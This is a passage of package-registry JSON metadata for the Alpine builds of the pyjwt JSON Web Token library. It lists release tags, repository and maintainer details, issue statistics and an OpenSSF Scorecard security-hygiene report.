/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.1.0/manifests"},{"name":"1.0.1","sha":"8f28b4a6124830fcea400668840e645bb91e38a2","kind":"tag","published_at":"2015-03-26T21:10:48.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.0.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.0.1/manifests"},{"name":"1.0.0","sha":"3cc2e998a84a8cd6e5a0c4e67caf038d337458d8","kind":"tag","published_at":"2015-03-18T17:10:39.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.0.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.0.0/manifests"},{"name":"0.4.3","sha":"d72c3d4821e93593031a2e188d43f503706c047e","kind":"tag","published_at":"2015-02-18T20:37:07.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.4.3","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.4.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.4.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.3/manifests"},{"name":"0.4.2","sha":"451004ea60fb91ad658f770de66c90ca0cd228ab","kind":"tag","published_at":"2015-02-18T19:14:01.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.4.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.4.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.4.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.2/manifests"},{"name":"0.4.1","sha":"016b0bf9349019ac90aa4c61c728660af003ea72","kind":"tag","published_at":"2015-01-08T16:23:48.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.4.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.1/manifests"},{"name":"0.4.0","sha":"10485f7cf7870a897a280f5d616b2026f17fa378","kind":"tag","published_at":"2014-12-23T12:15:22.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.4.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.0/manifests"},{"name":"0.3.2","sha":"cd32cf25f07994a2b22b47a4d6c5b71137b252bd","kind":"tag","published_at":"2014-12-13T22:27:16.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.3.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.3.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.3.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.2/manifests"},{"name":"0.3.1","sha":"139a779427fb5ca64e940fc2ea33402a80884949","kind":"tag","published_at":"2014-12-03T13:07:00.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.3.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.1/manifests"},{"name":"0.3.0","sha":"fc60927c2dc35bca29641c52a7ba1b1596f4d105","kind":"tag","published_at":"2014-10-22T05:37:54.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.3.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.0/manifests"},{"name":"0.2.3","sha":"739efeff4c6c1fc30ab5cf5eb0ac337e8ee107d7","kind":"tag","published_at":"2014-10-16T04:07:59.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.2.3","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.2.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.2.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.3/manifests"},{"name":"0.2.2","sha":"a99f4015d1f11ddc18ac8da5f6604d5b31aa125e","kind":"tag","published_at":"2014-09-23T02:40:34.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.2.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.2.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.2.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.2/manifests"},{"name":"0.2.0","sha":"257fd34acc393520fd01cfcf47bf628835ed9402","kind":"commit","published_at":"2014-03-26T00:02:10.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.2.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.0/manifests"},{"name":"0.1.9","sha":"581c660108d9eabe1c061620e6b795064b0b5b8d","kind":"commit","published_at":"2014-02-08T07:12:01.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.1.9","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.1.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.1.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.1.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.1.9/manifests"},{"name":"0.1.6","sha":"2b5dd54dabe599676f3fa5b4f4c90b59856e908f","kind":"tag","published_at":"2013-08-08T18:35:32.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.1.6","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.1.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.1.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.1.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.1.6/manifests"}]},"repo_metadata_updated_at":"2026-05-29T04:00:36.314Z","dependent_packages_count":0,"downloads":null,"downloads_period":null,"dependent_repos_count":0,"rankings":{"downloads":null,"dependent_repos_count":0.0,"dependent_packages_count":0.0,"stargazers_count":null,"forks_count":null,"docker_downloads_count":null,"average":100},"purl":"pkg:apk/alpine/py3-jwt-pyc?arch=x86_64\u0026repository_url=https://pkgs.alpinelinux.org/packages?branch=v3.19","advisories":[],"docker_usage_url":"https://docker.ecosyste.ms/usage/alpine/py3-jwt-pyc","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/alpine/py3-jwt-pyc","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/alpine/py3-jwt-pyc/dependencies","status":null,"funding_links":["https://github.com/sponsors/jpadilla"],"critical":null,"issue_metadata":{"last_synced_at":"2026-05-24T15:00:28.878Z","issues_count":159,"pull_requests_count":289,"avg_time_to_close_issue":11297445.848214285,"avg_time_to_close_pull_request":2246869.7172131147,"issues_closed_count":112,"pull_requests_closed_count":243,"pull_request_authors_count":81,"issue_authors_count":155,"avg_comments_per_issue":3.842767295597484,"avg_comments_per_pull_request":0.8304498269896193,"merged_pull_requests_count":199,"bot_issues_count":2,"bot_pull_requests_count":101,"past_year_issues_count":25,"past_year_pull_requests_count":77,"past_year_avg_time_to_close_issue":6701487.111111111,"past_year_avg_time_to_close_pull_request":1291611.0,"past_year_issues_closed_count":9,"past_year_pull_requests_closed_count":44,"past_year_pull_request_authors_count":25,"past_year_issue_authors_count":24,"past_year_avg_comments_per_issue":2.64,"past_year_avg_comments_per_pull_request":0.38961038961038963,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":34,"past_year_merged_pull_requests_count":41,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/issues","maintainers":[{"login":"auvipy","count":6,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/auvipy"},{"login":"jpadilla","count":5,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/jpadilla"}],"active_maintainers":[{"login":"auvipy","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/auvipy"},{"login":"jpadilla","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/jpadilla"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.19/packages/py3-jwt-pyc/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.19/packages/py3-jwt-pyc/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.19/packages/py3-jwt-pyc/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.19/packages/py3-jwt-pyc/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.19/packages/py3-jwt-pyc/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.19/packages/py3-jwt-pyc/codemeta","maintainers":[{"uuid":"michal@polanski.me","login":null,"name":"Michał Polański","email":null,"url":"https://pkgs.alpinelinux.org/packages?maintainer=Michał Polański","packages_count":315,"html_url":"https://pkgs.alpinelinux.org/packages?maintainer=Michał Polański","role":null,"created_at":"2024-08-26T12:59:31.784Z","updated_at":"2024-08-26T12:59:31.784Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.19/maintainers/michal@polanski.me/packages"}],"registry":{"name":"alpine-v3.19","url":"https://pkgs.alpinelinux.org/packages?branch=v3.19","ecosystem":"alpine","default":false,"packages_count":23031,"maintainers_count":392,"namespaces_count":2,"keywords_count":3179,"github":"alpinelinux","metadata":{"repos":["main","community"],"funded_packages_count":824},"icon_url":"https://github.com/alpinelinux.png","created_at":"2023-12-20T09:51:56.346Z","updated_at":"2026-06-10T05:19:05.125Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.19/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.19/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.19/namespaces"}},{"id":6059890,"name":"py3-jwt","ecosystem":"alpine","description":"Python3 JSON Web Token implementation","homepage":"https://github.com/jpadilla/pyjwt","licenses":"MIT","normalized_licenses":["MIT"],"repository_url":"https://github.com/jpadilla/pyjwt","keywords_array":[],"namespace":"community","versions_count":8,"first_release_published_at":"2022-11-22T19:33:35.000Z","latest_release_published_at":"2025-04-27T22:28:00.000Z","latest_release_number":"2.10.1-r0","last_synced_at":"2026-04-15T05:00:33.356Z","created_at":"2023-01-31T19:04:14.417Z","updated_at":"2026-05-29T04:00:33.848Z","registry_url":"https://pkgs.alpinelinux.org/package/edge/community/x86_64/py3-jwt","install_command":"apk add py3-jwt","documentation_url":null,"metadata":{"repository":"community","architecture":"x86_64"},"repo_metadata":{"id":1396960,"uuid":"1408162","full_name":"jpadilla/pyjwt","owner":"jpadilla","description":"JSON Web Token implementation in Python","archived":false,"fork":false,"pushed_at":"2026-05-18T22:10:19.000Z","size":1229,"stargazers_count":5660,"open_issues_count":52,"forks_count":756,"subscribers_count":59,"default_branch":"master","last_synced_at":"2026-05-19T00:41:40.142Z","etag":null,"topics":["hacktoberfest","jwt","python"],"latest_commit_sha":null,"homepage":"https://pyjwt.readthedocs.io","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":"jondot/padrino-warden","license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/jpadilla.png","metadata":{"files":{"readme":"README.rst","changelog":"CHANGELOG.rst","contributing":null,"funding":".github/FUNDING.yml","license":"LICENSE","code_of_conduct":"CODE_OF_CONDUCT.md","threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":"SECURITY.md","support":null,"governance":null,"roadmap":null,"authors":"AUTHORS.rst","dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":null,"dco":null,"cla":null},"funding":{"github":["jpadilla"]}},"created_at":"2011-02-24T20:25:09.000Z","updated_at":"2026-05-15T21:30:33.000Z","dependencies_parsed_at":"2025-11-13T02:02:14.919Z","dependency_job_id":null,"html_url":"https://github.com/jpadilla/pyjwt","commit_stats":{"total_commits":666,"total_committers":140,"mean_commits":4.757142857142857,"dds":0.7777777777777778,"last_synced_commit":"d8b12421654840418fd25b86553795c0c09ed0a9"},"previous_names":["progrium/pyjwt"],"tags_count":48,"template":false,"template_full_name":null,"purl":"pkg:github/jpadilla/pyjwt","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/jpadilla","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/refs/heads/master","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/sbom","scorecard":{"id":316997,"data":{"date":"2025-08-11","repo":{"name":"github.com/jpadilla/pyjwt","commit":"f2d0ebe7ec6d95cf92d958f9fcbd60ba1911cd3d"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":7.5,"checks":[{"name":"Code-Review","score":8,"reason":"Found 12/15 approved changesets -- score normalized to 8","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"Security-Policy","score":10,"reason":"security policy file detected","details":["Info: security policy file detected: SECURITY.md:1","Info: Found linked content: SECURITY.md:1","Info: Found disclosure, vulnerability, and/or timelines in security policy: SECURITY.md:1","Info: Found text in security policy: SECURITY.md:1"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"Maintained","score":10,"reason":"11 commit(s) and 3 issue activity found in the last 90 days -- score normalized to 10","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"Token-Permissions","score":0,"reason":"detected GitHub workflow tokens with excessive permissions","details":["Info: topLevel 'contents' permission set to 'read': .github/workflows/enforce-changelog-entry.yml:8","Warn: no topLevel permission defined: .github/workflows/main.yml:1","Info: topLevel 'contents' permission set to 'read': .github/workflows/pypi-package.yml:16","Info: no jobLevel write permissions found"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"Pinned-Dependencies","score":0,"reason":"dependency not pinned by hash detected -- score normalized to 0","details":["Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:25: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:26: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:44: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/main.yml:58: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:69: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:70: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:96: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:97: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:27: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:31: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:43: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:49: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:63: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:69: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/stale.yml:15: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/stale.yml/master?enable=pin","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:36","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:37","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:51","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:77","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:104","Info:   0 out of  11 GitHub-owned GitHubAction dependencies pinned","Info:   1 out of   5 third-party GitHubAction dependencies pinned","Info:   0 out of   5 pipCommand dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"Fuzzing","score":10,"reason":"project is fuzzed","details":["Info: OSSFuzz integration found"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE:0","Info: FSF or OSI recognized license: MIT License: LICENSE:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Vulnerabilities","score":10,"reason":"0 existing vulnerabilities detected","details":null,"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"Branch-Protection","score":-1,"reason":"internal error: error during branchesHandler.setup: internal error: githubv4.Query: Resource not accessible by integration","details":null,"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}},{"name":"Packaging","score":10,"reason":"packaging workflow detected","details":["Info: Project packages its releases by way of GitHub Actions.: .github/workflows/pypi-package.yml:34"],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"SAST","score":5,"reason":"SAST tool is not run on all commits -- score normalized to 5","details":["Warn: 16 commits out of 27 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}}]},"last_synced_at":"2025-08-18T00:25:46.882Z","repository_id":1396960,"created_at":"2025-08-18T00:25:46.882Z","updated_at":"2025-08-18T00:25:46.882Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":33197524,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-05-18T09:27:30.708Z","status":"ssl_error","status_checked_at":"2026-05-18T09:27:28.300Z","response_time":71,"last_error":"SSL_connect returned=1 errno=0 peeraddr=140.82.121.5:443 state=error: unexpected eof while reading","robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":false,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"jpadilla","name":"José Padilla","uuid":"83319","kind":"user","description":"@auth0 + @filepreviews ","email":"hello@jpadilla.com","website":"https://jpadilla.com","location":"Hartford, CT","twitter":"jpadilla_","company":"@auth0 ","icon_url":"https://avatars.githubusercontent.com/u/83319?v=4","repositories_count":230,"last_synced_at":"2025-11-23T03:17:15.931Z","metadata":{"has_sponsors_listing":true},"html_url":"https://github.com/jpadilla","funding_links":["https://github.com/sponsors/jpadilla"],"total_stars":12101,"followers":1389,"following":419,"created_at":"2022-11-02T16:29:26.720Z","updated_at":"2025-11-23T03:17:15.932Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/jpadilla","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/jpadilla/repositories"},"tags":[{"name":"2.13.0","sha":"7144e4534c34810f4525dc4578a32addd8212cff","kind":"commit","published_at":"2026-05-21T19:34:15.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.13.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.13.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.13.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.13.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.13.0/manifests"},{"name":"2.12.1","sha":"a4e1a3d1218b01c5806420b8f16d9308ac4adc30","kind":"commit","published_at":"2026-03-13T18:41:01.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.12.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.12.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.12.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.12.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.12.1/manifests"},{"name":"2.12.0","sha":"bd9700cca7f9258fadcc429c1034e508025931f2","kind":"commit","published_at":"2026-03-12T17:08:41.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.12.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.12.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.12.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.12.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.12.0/manifests"},{"name":"2.11.0","sha":"697344d25990641b8b2aa85f0a60634b590b5702","kind":"commit","published_at":"2026-01-30T18:44:15.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.11.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.11.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.11.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.11.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.11.0/manifests"},{"name":"2.10.1","sha":"3ebbb22f30f2b1b41727b269a08b427e9a85d6bb","kind":"commit","published_at":"2024-11-28T03:30:29.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.10.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.10.1","dependencies_parsed_at":null,"de